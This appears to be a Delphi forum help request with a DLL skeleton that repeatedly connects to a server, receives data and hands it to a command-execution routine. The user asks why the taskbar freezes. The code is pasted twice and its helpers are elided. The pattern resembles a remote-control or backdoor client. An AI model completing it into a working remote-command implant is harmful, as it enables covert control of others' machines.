J
jlcsx
Unregistered / Unconfirmed
GUEST, unregistred user!
library Project12;
{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }
uses
Windows,
Winsock2,
Winsock,
SysUtils,
Classes;
{$R *.res}
.......................
.....................
procedure atreq;
begin
pCreateSocketClient;
while True do //进入循环后,任务栏无法使用,请高手指点
begin
/// sleep(5);
pDelay(5) ;
gRecBuf := '';
try
pktlen:=recv(ServerSocket,gRecBuf,1024,0);//接收数据
except
pktlen := -1;
end;
if pktlen<=0 then
begin
/// sleep(5);
pDelay(500);
pCreateSocketClient; //重新创建连接
end
else begin
pDelay(5) ;
pCarryCmd(gRecBuf); //处理命令
end;
end;
WSACleanup;
end;
begin
atreq;
end.
{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }
uses
Windows,
Winsock2,
Winsock,
SysUtils,
Classes;
{$R *.res}
.......................
.....................
procedure atreq;
begin
pCreateSocketClient;
while True do //进入循环后,任务栏无法使用,请高手指点
begin
/// sleep(5);
pDelay(5) ;
gRecBuf := '';
try
pktlen:=recv(ServerSocket,gRecBuf,1024,0);//接收数据
except
pktlen := -1;
end;
if pktlen<=0 then
begin
/// sleep(5);
pDelay(500);
pCreateSocketClient; //重新创建连接
end
else begin
pDelay(5) ;
pCarryCmd(gRecBuf); //处理命令
end;
end;
WSACleanup;
end;
begin
atreq;
end.